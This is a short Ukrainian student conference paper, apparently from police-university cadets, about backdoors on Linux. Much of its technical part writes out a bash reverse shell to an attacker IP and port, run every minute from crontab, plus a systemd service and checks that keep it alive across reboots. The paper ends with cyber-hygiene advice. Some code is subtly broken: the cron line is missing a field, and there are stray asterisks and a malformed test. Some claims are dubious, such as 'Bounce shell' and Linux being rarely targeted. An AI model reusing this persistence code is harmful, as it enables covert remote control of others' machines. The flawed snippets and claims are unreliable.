ВИКОРИСТАННЯ БЕКДОРУ, ЯК МЕТОДУ ЗЛАМУ КОМП'ЮТЕРНИХ СИСТЕМ

Гельдт Станіслав Володимирович
курсант 3 курсу факультету № 4 Харківського національного університету внутрішніх справ

Єрьоменко Ярослав Сергійович
курсант 3 курсу факультету № 4 Харківського національного університету внутрішніх справ

Онищенко Юрій Миколайович
кандидат наук з державного управління, доцент, доцент кафедри кібербезпеки та DATA-технологій факультету № 6 Харківського національного університету внутрішніх справ

Наразі продовжується віроломне нахабне вторгнення російської федерації на територію України. Кожен день наші захисники та захисниці проливають кров за суверенність нашої Батьківщини та недоторканність державних кордонів. Проте ми живемо у XXI сторіччі, тому війна відбувається не тільки на полі бою, а й у інформаційному просторі. Ворожі хакери щоденно продовжують атакувати сайти державних інституцій, розсилати громадянам України фішингові або сніферні посилання з метою отримання персональних даних користувачів тощо. Одним із способів викрадення приватної інформації є шкідливе програмне забезпечення (далі ШПЗ).

ШПЗ – це програмне забезпечення, використання якого може призвести до блокування певних можливостей та функцій комп'ютерних пристроїв, до отримання, шифрування або знищення певної інформації, незаконного віддаленого використання зловмисниками потужностей комп'ютерів у корисних цілях, наприклад: майнінгу, атак на інформаційні ресурси тощо.

Одним з найнебезпечніших видів ШПЗ є бекдор. Бекдор (backdoor) – шкідливий програмний код, який встановлюється в комп'ютерну систему, щоб надати зловмиснику віддалений доступ до пристрою. Бекдори зазвичай дозволяють підключитися до комп'ютера з мінімальною автентифікацією або зовсім без такої і виконувати команди зловмисників [1].

З кожним роком технології розвиваються тільки швидше, але завжди можна почути байку, що операційну систему Linux неможливо «хакнути», проте цьому є легке пояснення. Хакери майже не працюють у напрямку створення ШПЗ для операційної системи Linux, адже вона не користується популярністю та не має великої кількості користувачів, як, наприклад, ОС Windows. Крім того, поціновувачі Linux зазвичай досвідченіші, ніж пересічні власники мобільних та комп'ютерних систем, тому неможливо обманути їх звичайними методами соціальної інженерії. У своїй більшості задля написання бекдору

використовується синтаксис bash. Синтаксис команд bash – це надмножина синтаксису команд Bounce shell [2].

Розглянемо код бекдору детальніше. З метою щохвилинного надсилання бекдором запитів, додамо заплановану задачу в crontab. Crontab – це утиліта в операційних системах Unix і Linux, яка дозволяє користувачам використовувати команди або скрипти (групи команд) автоматично в заданий час [3].

crontab -l > /tmp/task
echo " * * * * bash -c 'bash -i >& /dev/tcp/192.168.1.177/4444 0>&1'" >> /tmp/task*
crontab /tmp/task

В команді 192.168.1.177 – це тестова IP-адреса зловмисника, а 4444 – його порт. Якщо ми хочемо, щоб після перезавантаження системи скрипт вносив якусь інформацію в crontab, необхідно дописати «демона». Демон (англ. daemon) – це сервіс Unix та Unix-подібних операційних систем , що працює у фоновому режимі без прямого спілкування з користувачем [4]. Далі наведемо тільки ті рядки коду, які відрізняються від звичайного «демона».

pwd_command=$(pwd)
echo "ExecStart=/bin/bash $pwd_command/remoteB.sh" >> example.service

pwd (англ. present working directory) – консольна утиліта в UNIX-подібних системах, яка виводить повний шлях від кореневого каталогу до поточного робочого каталогу [5].

Аби забезпечити безперервність та ефективність роботи програми, необхідно перемістити новоствореного «демона» в директорію system. Після цього запускаємо службу за допомогою суперкористувача root.

sudo mv example.service /etc/systemd/system
sudo systemctl daemon-reload
sudo systemctl enable example
sudo systemctl start example.

Для того, щоб скрипт після кожного перезапуску не переповнював список crontab та не перестворював «демона», було введено дві конструкції if. У першому випадку ми знаходимо запис про підключення до відповідної IP-адреси. Якщо такий запис наявний, тоді видаляємо файл зі списком завдань для crontab та не перезаписуємо його новими даними.

if sudo grep -Fxq " * * * * bash -c 'bash -i >& /dev/tcp/192.168.1.177/4444 0>&1'" task*

У другому випадку ми перевіряємо наявність «демона» в каталозі /etc/systemd/system/. Якщо його не існує, тоді конструкції передається значення «True» та створюється новий сервіс.

if [[! -e /etc/systemd/system/example.service]]

Отже, найслабшою ланкою у кіберпросторі є людина. Саме тому актуальним та необхідним є організація превентивної роботи щодо протидії зловмисникам у кіберпросторі. Доцільним вбачається проведення лекцій, тренінгів, практикумів з кібергігієни та правил поведінки у мережі Інтернет не тільки для державних службовців, а всіх верств населення, починаючи зі школярів.

Найбільша кількість кібератак з використанням методів соціальної інженерії відбувається через необачність користувачів, саме тому слід розуміти ступінь небезпеки при переході за сумнівними посиланнями, адже, натиснувши на них, користувач ризикує втратити персональні дані або мимоволі передати потужності свого комп’ютера для використання зловмисниками.

Список літератури:

1. Загальні рекомендації щодо зменшення наслідків від впливу шкідливого програмного забезпечення // CERT-UA : вебсайт. 21.07.2020. URL: https://cert.gov.ua/recommendation/2502 (дата звернення: 25.06.2022).
2. Bash // Wikipedia : вебсайт. 20.04.2022. URL: https://uk.wikipedia.org/wiki/Bash (дата звернення: 25.06.2022).
3. cron // Wikipedia : вебсайт. 22.04.2022. URL: https://uk.wikipedia.org/wiki/Cron (дата звернення: 25.06.2022).
4. Демон (програма) // Wikipedia : вебсайт. 26.05.2022. URL: https://uk.wikipedia.org/wiki/%D0%94%D0%B5%D0%BC%D0%BE%D0%BD_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%B0) (дата звернення: 25.06.2022).
5. pwd // Wikipedia : вебсайт. 07.04.2022. URL: https://ru.wikipedia.org/wiki/Pwd (дата звернення: 25.06.2022).